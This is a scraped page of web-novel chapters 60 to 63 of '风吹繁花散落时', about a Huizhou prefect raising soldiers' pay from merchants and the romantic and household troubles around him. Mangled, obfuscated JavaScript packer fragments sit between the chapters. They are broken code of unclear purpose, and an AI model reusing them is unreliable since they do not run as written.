3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第六十章 我就是你的朋友 - 风吹繁花散落时 - 红酒羊排 余年已经开始递话把了,周启也不含糊。 “是啊,这马匪实在可恶,上一次本官为了全城百姓才没有与他们正面交锋,不得已才放走了他们,否则,本官一定叫他们知道知道本官的厉害。” “周大人好志气,周大人不光文采雯然,排兵布阵也是出神入化。”,余年开始捧着周启,接着就话锋一转,“不过嘛,周大人,这俗话说的好,巧妇难为无米之炊呀,周大人要排兵布阵,可是这将士们都空着肚子呢,如何能听周大人调派?唉,想我堂堂徽州,谁能想到咱们府衙也是个一贫如洗呢,唉。” “兵部让咱们自己解决军饷,咱们一个小小的府衙,怎么养的起这么多兵丁呢?余大人,就不能再向兵部争取一下?” “哎呦,周大人,下官已经是厚着脸皮跟兵部请示过了,人家压根不理咱们呀。不过也是,谁都说咱们徽州富裕,可是富裕的都是徽商,跟咱们这种小官吏有什么关系?唉,真是有苦难言呐。” “如是没有军饷,这帮子兵丁也要闹事了,余大人,你可要好好安抚大家呀。” “周大人,下官真是,唉,您也知道秀才遇到兵,有理说不清,没饭吃的人,手里还拿着家伙事呢,下官有点,嗬,下官还真有点犯难。” “是啊,可是现在我们去哪弄军饷呢?余大人,大概需要多少?” “那得看多长时间能剿灭马匪了。这来了五百人,按每天每人二两银子计算,若是一个月能剿灭,那也得三万两银子呀!若是两个月才能剿灭,就得六万两。不过呀,咱们丑话说在前头,要是有战损,那咱们还得给点补偿吧,所以下官觉得怎么也得筹措十万两才能确保万无一失。” “十万两,唉,本官一个月都月奉也只有一百多两银子啊,本官要是有,本官就拿出来,怎么也先剿灭了马匪再说啊。” 话都说到这份上了,陈千朗算是彻底明白了,“大人,三位大人,这剿灭马匪也是为了徽州的安定,小民愿意捐资,帮助大人筹措军饷。” “哦?”,余年发出一声惊呼,“哎呀,陈老板,你真是咱们徽商杰出的代表啊,这,这简直是太好了。” “余大人,让徽商捐资似乎不妥吧?” “周大人有所不知,这以前也不是没捐过。之前天下大旱,咱们徽商就慷慨解囊,那很多邻省的难民都得到帮助了呀。先皇曾亲口评价‘天下徽商’四个字,这可是无上荣耀啊。” “居然有这样的事情。” 钱宁也不傻,“大人,我们钱家也愿意捐资助大人剿灭马匪,请大人为徽州和平安定接受小民的心意。” 李博刚才听周启与余年一唱一和,现在终于轮到自己上场了,“周大人,既然 他们有心,就这么定了吧。” “钦差大人,这十万两都让他们两家出,本官实在有些过意不去。”,周启想了想,“这样吧,本官将大小徽商都聚集起来,能捐多少捐多少吧。” “这个好,哎呀,还是周大人考虑周到。陈老板,钱少东家,还是周大人体恤人呀。” 陈千朗和钱宁一点也不含糊,“磕头谢恩”。 周启不再追究陈千朗的失职之罪,陈千朗自然千恩万谢回家去了。钱宁却还有小心思,势必得到一句准话。 “大人,不知道周小姐身体怎样了?” “没什么大碍,就是吓着了。” “周大人,为表歉意,钱家愿意多出一千两银子,给小姐补补身子。” “你这是在贿赂本官吗?” “大人误会,大人误会。小民知道大人清廉自持,如是周小姐不嫌弃,钱家愿意以周小姐的名义捐资,这也都是为了徽州的安定嘛,大家都该尽一份心力。” 周启看看李博,又看看余年,余年可是官场老油条,“哎呀,周大人与周小姐都为了徽州百姓尽心尽力,实在难能可贵。尤其周小姐,自己受了委屈还想着全城百姓,让下官感佩呀。” “是啊。”,钱宁赶紧接过话,“周小姐不愧是大家小姐,心胸宽广,全城百姓都会感激。” “成了。”,周启终于态度缓和,“这我得问问娉婷才行,你先回去吧,你的孝心本官记下来。李老四嘛,本官也会有一个公正的判决。” 钱宁就等这句话了,赶紧施礼告退。 钱朵看娉婷脸上带着伤,心疼极了,“春菊,你说娉婷姐姐怎么会遇到这样的事情,看她这样真是让人心疼。” “小姐,周小姐平时总是一个人在外边,总会遇到一二宵小之徒。” “唉。”,钱朵站起身来,“春菊,这衙门都是一帮子大男人,怎么照顾娉婷姐姐呢?你去找人弄点热水,咱们帮娉婷姐姐擦擦身子。” “是。”,春菊出来,见院子里一个人都没有,便朝西厢房走去,一进屋便看见一群男人围在一起,“你们,谁是管事?” 连锁站起身来,“这个小姐?” “呦,嘴还挺甜的,你是管家吧?我们小姐吩咐让我来找你们要点热水,我们给你们小姐擦擦身子。” 连锁正在发愁不知道该怎么办,虽然自己不是个男人,可是娉婷的脾气也不是那么好的,如今主动来两个帮忙的,赶紧笑脸相迎,“多谢钱小姐了,我家大人知道了,必会感念小姐恩德。”,说着,连锁赶紧指引春菊去拿热水,“这位姑娘怎么称呼?” “我叫春菊,管家大人呢?” “哦,你就我连锁就成。春菊,真是好名字啊,一个名字中包含两个季节, 都是最美的季节,真好啊。” 以前大家听到春菊的名字只会说,“哈哈哈,你这名字真逗,春天哪有菊花?”,让春菊觉得好不尴尬,因为这名字本就是老妇人一时说错了,自得了这么个不知所谓的名字,春菊就得过且过,人家问起来就大大方方说出来,打死也不承认是老妇人说错了。如今竟有人开了眼,说出这样的好话来。 “多谢连锁管家,这名字还是我们钱家的老妇人赏的。” “老妇人定是十分喜欢你的。”,连锁继续夸赞春菊,末了,还还叫了两个侍卫一起将水送进了屋里。 “小姐,这管家还真是嘴甜,不亏是周大人的管家。” 两人一边帮娉婷擦胳膊,一边有一搭没一搭地聊天,“不知道周大人怎么样了。” “小姐,刚刚管家说周大人在议事呢,一会儿咱们弄完了,您正好可以去看看周大人。” 这句话算是说到了钱朵心坎里,脸上微微一笑。“等他忙完了正事吧。” 钱宁终于从前厅出来,站在院子里不知道钱朵在哪,又一个人都没有,钱宁觉得站在这里实在不像话,虽然不放心,想着李大人、余大人在这里呢,当着外人的面,钱朵必不会做出什么出格的事情。 钱宁回到家里,着急先回书房,一进门就见吴怡冲了出来,“吴怡。” 吴怡一直心绪难平,就傻傻站在门口等着钱宁,钱宁一进院门,吴怡就冲了出来,吴怡抓着钱宁的胳膊,“钱宁,怎么样?” “你放心吧,你爹不会死的。” 吴怡一听,喜极而泣,“真的?那他现在人呢?” “他现在还回不来,不过周大人与我达成了协议,过两天定会将你爹放出来。” “真的?”,吴怡又突然顿住,缓缓放开了钱宁的胳膊,“钱宁,你和周知府达成什么协议了?” “吴怡,你放心吧。周知府要剿灭马匪,但是兵部叫徽州自己筹措军饷,周大人正发愁,我和陈伯伯正好借机让他放下了对陈家和李老四的怨恨,只要过两天在他办的捐资宴上,我们两家带头捐资就成了。” 吴怡愣住了,低着头不说话。 “吴怡,你怎么了?” 吴怡抬起头,又哭了出来,“钱宁,都怪我不好,这军饷肯定很贵吧?” “嘿,吴怡,要是没有你爹的事情,我们钱家也得拿钱出来,知府大人怎么可能放掉我们这么大块肥肉不吃呢。”,钱宁摸摸吴怡的头,“好了,傻丫头,这跟你没关系。我跟你说啊,我们钱家现在正愁没机会与周大人站在一起呢,现在好了,我爹知道了,高兴还来不及呢,还得谢谢你爹呢。” “真的?” “当然了,你以为知府那么好结交的呀。” 听 了这句话,吴怡想起了刚刚何平的话,“吴怡,你怕是误会了,这里没有人是你的朋友。”,一字一字都击打在吴怡的心上,就是啊,自己就是一个贫民丫头,还是最底层的丫头,还妄想跟知府大人当朋友呢,真是可笑。吴怡这么想着,又低下了头,“钱宁。” “怎么了?” “你真的拿我当朋友吗?” 钱宁楞了一下,因为他以为自己还喜欢吴怡的事情被吴怡知道了,赶紧强装镇定,脸上露出了灿烂的笑容,“当然了!” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第六十一章 钱朵表白 - 风吹繁花散落时 - 红酒羊排 钱宁安抚好吴怡,来到书房向钱万全禀报了捐资的事情。 “既然大家都要捐,我们钱家自然不能落下,那天你去吧,带头捐一下。” “爹,我想咱们可以帮周小姐也捐一下,毕竟她与朵朵关系甚笃,再说我们钱家与周知府想拉近关系,也得有个由头啊。”,钱宁不知道该怎么说李老四的事情,只好稍微变通一下。 “会不会太明显了。” “爹,如今周知府压力不小,若是我们再不赶紧与他处好关系,我们钱家真是岌岌可危。爹,这件事我去办,一定不会出纰漏的。” 钱万全想了想,勉强答应了。 钱朵在娉婷身边终于等到余年离开。“小姐,小姐。”,春菊伸着脖子踮着脚透过窗外看见余年离开,“小姐,您快去呀!” 钱朵早就等着这一刻了,腿上一用劲差点站起来,可是又瞬间坐下了。 春菊更着急了,来到钱朵身边,“小姐!您再不去,这天也黑了,我们可就要回去了!” 钱朵一听,顿时坐不住了,咻得站起身来,脚下迈了半步,又犹豫了,憋了半天才憋出一句,“春菊,我,我说什么呀?” “哎呦小姐,您想说什么就说什么呀!这些天您在家里,多想来啊,如今咱们可是千载难逢的机会,您可要抓住了!” “春菊。”,钱朵又犹豫了,“我,我……” “我什么呀!小姐,您看周小姐,喜欢就去说呀!” “娉婷姐姐都这样了!” “小姐,您一定要去说啊。您看啊,周大人青年才俊的,多少人惦记呢。” 钱朵一下子拉住春菊,“春菊,你是不是知道什么?还有谁?还有谁喜欢周公子?” “小姐,没有,我是这么想的。”,春菊也是真心为钱朵着急,“小姐,不是有句话吗?先下手为强,您再不去,别人就上了!” 钱朵听了,下定了很大的决心,终于来到书房门口。“周公子?”,钱朵站在门口,见李博也在,心里觉得不是滋味,但是现在不是想这些的时候,钱朵微微一蹲身,“李大人。” 李博原本站在书架旁,见钱朵在门口,放下书看了一眼周启,非常识趣地迈腿走开了。 钱朵才不管李博,在门口深吸了一口气,款款迈步进来。“周公子。”,钱朵站在书房正中间,身体站的笔直。 周启站起身来,“钱小姐,今天谢谢你。” 钱朵一愣,想起娉婷,“哦,没事,我看娉婷姐姐应该就是累了,明天应该能醒过来了。” “嗯,连锁说你帮她擦身上了,这些原本不该让你做的。” “这没什么,我们是很要好的朋友,她一定会没事的。” 钱朵一边说着,一边走到了书桌前,“周公子, 你在画什么呢?” “哦,没什么,洛神而已。” “洛神?”,钱朵想起春菊传来的闲话,心想吴怡看到的难道是这个? “是啊,曹子建的诗,我没事画画。” 钱朵一只手撑在画上,含情脉脉看着周启,“周公子,我想请教你一个问题。” “你说?” “我娘告诉我女孩子要矜持,可是我觉得娉婷姐姐很勇敢。你说呢?” 周启原本心满意足看着自己的洛神,听见娉婷的事,瞬间无奈起来,“唉,娉婷啊,就是爱胡闹。” “周公子,我觉得娉婷姐姐做得对,要是她不告诉陈明阳哥哥,陈明阳哥哥就永远不知道。周公子,要是有人喜欢你,你希望她告诉你吗?” 周启看了钱朵一眼,“钱小姐,这种事情最难宣之于口。发乎情、止乎礼,方为上策。” 钱朵失落之情油然而生,春菊说应该告诉周大人,可是周大人却让她最好不要说。 “钱小姐。”,周启不打算给钱朵喘息的机会,“婚姻大事,父母之命媒妁之言,我相信钱小姐的父母定会给你找一个好的归宿。”,说完,周启已经坐在椅子上继续画他的洛神了。 钱朵听明白了,真是出师未捷身先死,见周启不再理自己,只好走开。李博从边上闪了出来,双手覆于胸前,一只脚踏在门槛上,突然翘着兰花指对着周启调侃起来,“哎呦周大人,怎么这么狠心呐,人家好不容易才来找你表白呢。” 周启皱着眉头瞪了一眼李博,“滚滚滚!” 李博脸皮厚实,才不可能滚呢,踩在门口的脚踏进了书房。“周大人,你伤了她的心,人家再也不来了。” “现在不打消她的念头,以后她只会自己受苦。” “你看你,你到底是怜香惜玉呢,还是铁石心肠呢?” “成了,别说她了。不过这次倒是提醒我了,这府里连个女人都没有,的确有些不方便。明天,你给我去招聘一个。” “我?我说周大人,我好歹也是钦差啊,我给你招聘啊?” “是啊,你不是我的人了吗?做戏不得做全套吗?” 李博稍微跳了一下,又翘起兰花指,“哎呦,讨厌,人家明天就给你去找人哈!” 钱朵被周启拒绝了,心情低落,小跑两步出了院子,春菊在门房都没看见钱朵,光顾着与连锁闲聊了。 “管家大人,你是哪里人啊?” “京城的。” “京城可是好地方,老家就是京城吗?” 连锁一边擦桌子一边回答春菊,“老家是河南的。” “河南?你这口音不像啊。” “嘿,小时候就到了京城跟在主子身边,所以没有老家的口音了。” “哦。对了,连锁管家 ,你家大人对你们好吧?” “挺好的呀,我家大人向来彬彬有礼,对谁都好。” “那你家大人家里有夫人了吗?” 连锁停住了手,转身看着春菊,“我家大人的亲事不是一般人可以决定的。” 春菊赶紧说,“我知道,你们大人必要娶那大家小姐,对自己有好处的,我明白。”,春菊见连锁又继续擦桌子去了,顿了顿,继续问道,“那你呢?你娶亲了没?” 连锁再一次停住手,低着头没好气地说,“没有。”,又转身抖搂了一下抹布,“让一让啊。” 春菊正想在聊聊别的,一个侍卫走了进来,“我说这位姑娘,你家小姐都走了,你怎么还在这?” “啊?哎呀,管家大人,我也得走了。” 连锁赶紧放下手上的活,准备去伺候周启,春菊以为连锁要送自己,赶紧摆手,“连锁管家,不用送了,我自己走就成了。”,说完,春菊露出娇羞之态,自顾自走了。连锁站在屋里,心想:真是有其主必有其仆。 此时的娉婷已经渐渐醒来,她觉得浑身酸痛。娉婷睁开眼,身边一个人也没有,只有空荡荡的房间,夕阳西斜,洒下满屋子金光。娉婷觉得有点晕,想起李老四狰狞的脸,还心有余悸。娉婷闭上眼,觉得被子里暖暖的,想起柴房里冰冷的地,又觉得难受起来。娉婷不知道陈明阳知不知道这件事,他去哪了呢?自己明明就在陈家,可能陈明阳知道了也不会来救自己,娉婷觉得人生都了然无趣,世界都开始变得冰冷,娉婷翻了个身,眼泪已经顺着脸颊流了下来。娉婷觉得浑身的疼痛感已经没有了,心里倒是酸酸的。 第二天,娉婷艰难睁开眼,迷迷糊糊看见周启坐在身边,“哥。”,娉婷声音沙哑。 周启原本看向门口,听见妹妹叫自己赶紧回过头来,“醒了,饿不饿?” 娉婷嘟着嘴,点了一下头,“嗯。” 周启赶紧起身,将小炕桌拿来,又亲自将早饭端过来。“给。”,周启将筷子提给娉婷,娉婷也已经自己坐起来了,看着满桌的小菜突然胃口大开。周启看妹妹狼吞虎咽的样子,心疼起来,伸出手帮娉婷捋了捋耳边的头发。 娉婷抬眼看着周启,又委屈起来,噘着嘴不说话。 “过些天,你和何启年回京去吧。” 娉婷停下了筷子,眼神黯淡。周启摸摸娉婷的头,“和何启年一起回去还安全点。” 徽州之于娉婷也的确没什么可留恋的了,也许西凉才是她最后的归宿,娉婷想着眼泪又掉了下来。 周启心里也不是滋味,前天,娉婷失踪的时候,周启十分自责,偏偏这个时候收到了来自西凉的书信。里边倒是什么也没有,封皮上写:周开大人 亲启。周启简直沮丧到了极点,他怎么舍得妹妹嫁到西凉,嫁给那个已经年近六十的老头子呢?早在来到徽州那天,他就派出了自己的亲信到西凉打听情况:西凉王年近六十,王妃娶了一个又一个,娉婷嫁过去面上说是大妃,那些彪悍的侧妃能轻易放过娉婷吗?再加上娉婷的任性,她的未来简直令人担忧。周启最终决定不管用什么手段都要阻止娉婷嫁到西凉,他亲信的任务也从打探消息变更为接近西凉王,最好能够破坏西凉王与大周的联姻。亲信的来信说明还没有接近西凉王的机会,计划暂时搁置。周启绝不会轻易放弃的人,他打算联合外公再想想办法。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第六十二章 周启误伤吴怡 - 风吹繁花散落时 - 红酒羊排 吴怡站在知府衙门的后院门口向里张望,李博站在一米之外,不知道这女人怎么还敢来。吴怡犹豫半天,最终还是不敢进去,一转身看见一人站在身后吓了一跳,李博也被吴怡吓了一跳,“哎呦,吓死我了!” “你干嘛站在这?” “嘿,那你站这干嘛呢?” 吴怡一时语塞,“我。”,吴怡最终还是下定决心要救李老四,她发挥自己的厚脸皮,一把拉住李博,“李大人,我带我进去呗。” 李博真不知道这女人什么情况,“你?你想让大小姐打死你呀?” “打我我也认了!李大人,我爹他真的是一时糊涂,你让我进去,我给大小姐赔礼道歉,我,我磕头认错,我,我……” “行行行,得了吧,人家差你一个磕头的吗?回去吧你!”,李博极不耐烦,一想到娉婷被李老四那样的东西绑在了柴房,李博就气不打一处来。 吴怡可不能放弃这次机会,“哎,李大人,李大人,我知道是我爹错了,你再给我一个机会,我一定好好向周小姐赔罪,她让我干什么都可以,打我骂我都行。” 李博已经站上了台阶,突然想起周启昨天让自己招工。李博站住,回过身子,见吴怡一脸期待,“你。” 吴怡也站上台阶,“李大人?” “你之前伺候过小姐是吧?”,吴怡疯狂点头,“那你进来,不过我告诉你啊,没人会原谅你和那个李老四,没把你们扔到大牢里已经是周大人大恩大德了。” “是是是,李大人,我一定好好给周小姐道歉,谢谢周大人,谢谢李大人。”,吴怡鞠着躬跟着李博进了院子,小跑两步自己进了娉婷的房间,一进屋噗通跪在地上,“大小姐,大小姐。” 娉婷正穿衣服,见吴怡进来,满脸嫌弃,白了吴怡一眼。 吴怡一个头磕在地上,“大小姐,我错了,我那天真想救你来的,大小姐你就大人不记小人过,饶了我爹吧!” 娉婷瞪着吴怡,“那个老骗子是你爹?” “大小姐,我们知道错了!您的医药费,我们出,您还要什么,您尽管吩咐,我一定照办。” “哼。”,娉婷本来就不喜欢吴怡,如今发现她尽然是老骗子的女儿更加不待见她,“那好呀,你去,把那老骗子的舌头给我拔下来,叫他再骗人!” 吴怡赶紧作揖,“哎呀大小姐饶命啊,大小姐饶命。” “你刚才不还说我说的你都照办吗?怎么了?不拔舌头也成,你去把他手砍下来!” 吴怡更加害怕了,往前爬了两步,一把抱住娉婷的腿,“大小姐啊,我爹错了,求您看在我们知错就改的份上,饶了我们吧!饶命呀大小姐。” 娉婷最讨厌别人这样,受用使劲挣脱 ,无奈吴怡力气还挺大,着急了,一脚将吴怡踹在地上,气鼓鼓去书房找周启。 “哥!谁把吴怡放进来的?” 周启看了一眼李博,李博耸耸肩,“她自己非要进来。” “那你去把她赶出去!” “别呀,别呀!”,吴怡站在书房门口,“大小姐,你看啊,我都来了,你好歹给我一个机会,要打要骂都随你,你别赶我呀。” 三人不约而同看向吴怡,真是没见过脸皮这么厚的人。李博打破僵局,“大人,小姐,我看可以给吴怡一个机会,她爹是她爹,她是她。” 吴怡疯狂点头,娉婷恶狠狠瞪着李博,她还不知道周启已经和钱宁达成了谅解,李老四早晚会被放了。 “小姐,你看你受伤了,需要有人照顾,你看这吴怡,她也是诚心悔改,要不然接着让她给你当丫鬟,照顾你。” 此言一出,娉婷和吴怡都“啊?”了一声。 啊完,娉婷瞪了一眼吴怡,心想:你还不愿意? 吴怡赶紧谢恩,双手抱拳,一个躬鞠到地上,“谢谢大人!小女子一定好好照顾周小姐!” 周启看吴怡那样,知道这女人满嘴没一句实话,不禁担心起娉婷,可是现在又不能立时找来一个照顾娉婷的人,吴怡倒还真是最合适的人选。吴怡也不含糊,擦桌子扫地,为娉婷端茶倒水,一刻也不得闲,比当初刚来的时候更加卖力。终于到了晚饭点,吴怡收拾停当,拍拍身上的土,“大小姐,饭你赶紧吃啊,吃完了就放那,我明天来拿。”,吴怡赶在宵禁之前回到钱家,钱宁担心了一天,看见吴怡回来了,终于松了一口气。“你去哪了?” “我去知府衙门,钱宁,我最近得去照顾周小姐,可能没办法陪老夫人说话了。” “你去照顾周小姐?” “是啊,我爹对人家那样,我怎么也得给她赔礼道歉,照顾好她吧。” 钱宁不知道该说什么好,他怎么也没想到吴怡是去照顾娉婷了,“好吧,没事,你去吧,奶奶那边我会去请安的。哎,对了,周小姐没有难为你吧?” “没有,怎么会呢?她现在身体虚弱,可乖了,嘿嘿。” 钱宁知道娉婷不是那么容易相处的人,只苦苦的笑了笑,心里却一百个不愿意。 此时的娉婷终于知道周启打算套路徽商,打算原谅李老四了,“区区一千两,你就把你妹妹给卖了啊?” “什么叫卖了啊?我这不是为了给你报仇吗?” “得了吧!你跟父皇一样,为了什么破老百姓,就把我给卖了!” 这句话说到了周启的痛处,边界不宁,连皇帝都不得已出嫁嫡公主,他这个徽州的知府为了筹措军饷去剿灭马匪也只好放下个人恩怨。周启心里有苦 难言,“成了,你赶紧回房休息,等我剿灭了马匪,你就回京去。” 娉婷使劲一甩头,“哼!”,大踏步离开。 周启一人在前厅呆坐,他生出无力之感,也终于明白了皇帝派自己来徽州的良苦用心:一个人,尤其是他这种高高在上的人,光靠书本是不行的,大多数时候要忍受误解、孤独,断绝私人情感,否则就无法天下为公。繁华与热闹都是别人的,孤独与压力才是自己的。 第二天,吴怡照旧来到知府衙门,一进院门便看见周启与李博在院子里练剑,两柄剑上下翻飞,兵器磕在一起的声音清脆悦耳。吴怡还是第一次看见周启如此洒脱飘逸,与他平时温文尔雅的样子完全不同,吴怡站在旁边呆呆的看。练着练着,周启手中的力道越来越重,不一会,李博闪在一旁,周启一人在院子里左砍右刺。吴怡看着周启,觉得他似乎心情不佳,刚想赶紧撤退,别在这里触霉头,门口走进来一人,穿着一身戎装,腰间挂着一柄宝剑。吴怡看这人,五十岁上下,黝黑的脸庞上,一双炯炯有神的小眼,短小精悍的络腮胡已经斑白。何启年直勾勾看着周启,周启的武功还是他启蒙的,如今见他虽然步伐不乱,心里却憋着一股火似的。 何启年抽出宝剑,与周启打在一起,两柄剑叮当作响,吴怡在旁边都看呆了,周启这身手简直太帅了,翩翩少年郎,浑身的正气。吴怡正饶有兴趣地看着,突然一个断剑向吴怡飞来,说时迟那时快,所有人都没有反应过来的时候,断剑在空中高速旋转,擦着吴怡的脸颊飞了过去。吴怡开始还不知道发生了什么,突然觉得脸上生疼,用手一摸,血流了出来。 周启感觉到自己的剑断了,刚停下来查看,听吴怡“啊”了一声,看看手上的断剑,赶紧过来查看。 “怎么样?” “流血了!”,吴怡带着哭腔,“哎呀,毁容了!” “你先别说话,连锁,快,去请大夫!来,进屋来。”,周启扶着吴怡进屋坐下,李博赶紧拿出医药箱先简单处理一下。 何启年已经慌了,单腿跪在地上,“老臣该死!请大人降罪!”,何平十分紧张地站在旁边。 周启站起身,一伸手将何启年拉了起来,“老将军严重了,你的宝剑是先皇所赐,自然锋利无比,我知道你是无心之失,不怪你。” 吴怡捂着脸,看周启客客气气的样子,“大人,大人?”,所有人都看向吴怡,“我爹也是无心之失,你就原谅他吧!” 周启歪了一下头,真是无奈又好笑,娉婷不合时宜地走了进来,“你想得美!” “大小姐,我这都受伤了,我……” “你受伤了?我还受伤了呢!想让我原谅李老四 ,门都没有!我告诉你,今天没把你杀了,你就回家烧香拜佛,明天你要是再敢来,我就拿那把断剑从你脖子上划过去!” 吴怡捂着脸,“周大人,我都毁容了,你怎么也得原谅我一次吧?” 正在娉婷还想再骂吴怡两句的时候,大夫进来了,幸亏伤口不深,但是伤在脸颊,弄不好会留下疤痕。吴怡对于留不留疤的倒是不在意,一个劲给娉婷道歉,娉婷懒得理她,“我告诉你,别说你脸受伤了,就是你断手断脚了也得给我端茶倒水,这是你欠我的,哼!” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第六十三章 徽商慷慨解囊 - 风吹繁花散落时 - 红酒羊排 吴怡厚着脸皮请求周启原谅,甚至追着周启进了书房,周启不胜其烦,在书架前拿自己想看的书,就当吴怡不存在。 “周大人,你看我这个脸,你是不是得对我负责?” 周启冷笑一声,终于开口了,“吴怡,你知道你这叫什么吗?” “什么呀?” “吴怡,你爹不是一时冲动,你爹非法拘禁、殴打他人,是要被流放的,他是犯罪,知道吗?还有你,你明明知道你爹犯罪了,第一时间不是纠正他的错误,而是让他赶紧跑,你这叫包庇罪,还有协同犯罪也是犯罪,本官没有把你也抓起来就算是给你面子了。”,吴怡被周启说得哑口无言,呆呆站在一旁。周启继续说道,“吴怡,你受伤了是我不对,你的医药费我会出的。可这不是你为李老四求情的筹码,他是大人,能为自己的行为负责,你不需要将所有责任拦在自己身上。” 周启说完,自己坐在椅子上看书,不再理会吴怡。吴怡低下头,她甚至觉得周启说的有道理,是自己想得太简单了。吴怡低着头,无言地离开书房,看见娉婷正坐在秋千上,眼神空洞地望着天。吴怡慢慢走了过来,对着娉婷深深鞠了一躬,“对不起!” 娉婷不知道她这又整什么幺蛾子,荡起秋千来。 “大小姐,我爹让你受伤了,是他不对,我不该烦你这么长时间,应该让你好好休息,你想吃什么?我一会儿给你做。” “算了吧,我还怕你毒死我呢。”,娉婷从秋千上站起来,又白了吴怡一眼,幸亏吴怡脸皮够厚,已经开始在厨房里准备午饭了。 李博不知什么时候来了,站在书房门口琢磨吴怡。 “你看什么呢?”,周启见李博纹丝不动在门口半天了,终于忍不住询问。 “你说这吴怡,还挺有意思的啊。” “脸皮厚的人多了,管她呢。” 李博终于不再遥望吴怡,来到书桌前,双手撑着桌子,直勾勾看着周启,“我说我的周大人,明天咱们就该办正事了,你说那些老奸巨猾,能掏出钱来吗?” “钱宁和陈千朗不都答应了嘛。” 李博站直了,觉得情况还是不容乐观,“他们两家算是这徽州最富的了吧,他们捐了,那是应当应分的,别人可不一定。” “刚才何统领说了,必须在开拔之前给大家点甜头。所以明天,我们必须让他们掏出银子来。” “这个余年,今天也不过来商量商量。” “瞧你这出息!” “吃饭了!”,吴怡站在院子里大喊一声,周启计从心来。 第二天时近中午,同福苑中,徽州绝大多数商家都来了,徽州知府请客,就算什么也不干也得来露个脸才行。 钱万全、陈千 朗、张海三人见面,分外眼红,一脸的笑容,满肚子怒气。 “两位老板。”,张海一抱拳,脸上笑着,可是他来徽州几个月,还什么事情都没有办成,压力也不小。 “张老板。”,钱万全和陈千朗都是来放血的,没有多余的时间应付张海。相互打招呼,钱万全、陈千朗和钱宁坐在了一起。张海也不想跟他们坐在一起,单找了一桌,观察起徽商来。 “我说两位大人,这行吗?”,吴怡从屋里出来,浑身别扭。 周启与李博站在院子里,见吴怡打扮一下还是有点像那么回事的,放心不少。“我说你能不能站好了!”,李博就没见过谁站着也能这么七扭八斜的,“我告诉你啊,装有钱人,不是穿身好衣服就行的!气质,气质,知道吗?”,李博双手上下滑动,“哎,对了,抬头挺胸,目不斜视,行不摆裙。” “行不摆裙?那怎么走呀?要不我别穿这个裙子了。” “那还成?你见过哪个有身份的人不系裙的?” 周启可不想听这两个人在这讨论什么裙子的问题,“好了,吴怡,你想怎么着就怎么着,不过李老四的命在你手上。” “周大人。”,吴怡突然站直了,特别正经地说道,“我一定按照您的吩咐办事,你放心吧!” 周启带着李博、何启年、余年一起出席宴会,所有徽州商人全都起立迎接。吴怡偷偷溜了进来,一眼就看见钱宁,赶紧过来,“钱宁,钱宁。” 钱宁见吴怡一身粉白色衣服,画的桃花妆分外妖娆。“你,你怎么来了?” “嘘。”,吴怡跟着大家坐下,幸亏这里还有一个空位置,吴怡趴在钱宁耳朵边上,“钱宁,周大人让我来的,说我今天是主力。” 钱宁不明白这是什么意思,“哎,你脸怎么了?” “啊?哦,没事,过两天就好了。” 两人在这咬耳朵,张海可是看的清清楚楚,京城的消息说张灵和钱宁在一起,可是张海打听了半天也没有发现张灵去哪了,如今自己的疑似“目标人物”终于出现了。 周启已经开始致辞,主要就是说徽州的安定需要大家共同维护,又介绍了上次自己带领官兵在城门口击毙马匪的事情,还介绍了全城搜捕的成效和对徽州商户的影响,最后终于绕到正题。“诸位,大家都应该已经知道了,剿灭马匪的兵丁已经驻扎在城外,随时准备开拔剿匪。本官也已经得到消息,马匪的老巢已经被找到,马上徽州周边将会更加安全。请允许本官为大家介绍,何启年统领。”,说着何启年站了起来,向在座的各位一抱拳,又坐下了。“何统领是御前侍卫首领,曾经在战场上立下了赫赫战功,是我们大周的英雄!诸位,此次 由何统领亲自指挥剿灭马匪,足以说明朝廷对咱们徽州的重视程度。诸位,让我们一起举起酒杯,敬何统领一杯。” 大家自然积极响应。所有人落座后,何启年站了起来,“多谢诸位,本官带着队伍来此,打扰之处,请诸位海涵。”,何启年见大家都不说话,继续说道,“本官行伍出身,有什么就说什么。本官必定带着兄弟们剿灭马匪,还徽州一个安宁。可是本官有时候想着,兄弟们也都是爹妈生的,人心也是肉长的,万一出了什么不测,真是不知道该怎么和他们的爹娘交代,唉。”,何启年突然心生感慨,端起酒杯又饮了一杯。 周启知道这个时候又该自己上场了,面露尴尬,站起身来,“何统领,何统领,今天是大家给兄弟们践行,是鼓舞士气的,怎么突然这么伤感呢?来来来,我们再饮一杯。”,喝完,周启拉着何启年坐下,李博又“粉墨登场”,“哈哈哈,诸位,何统领是性情中人,这也是把咱们徽州当自家人看待,要不也不能将这心里话说出来了。”,李博咧着嘴,笑呵呵看着大家,“诸位,本官会与何统领一起进山剿匪。还有啊,还有这周知府说了,周大人也想去,可是本官觉得啊,总得有人坐镇徽州城不是,要不马匪万一来了,这徽州不能没人呀!所以,所以余大人,我们的余年同知会代替周大人,与大队一起开拔。” 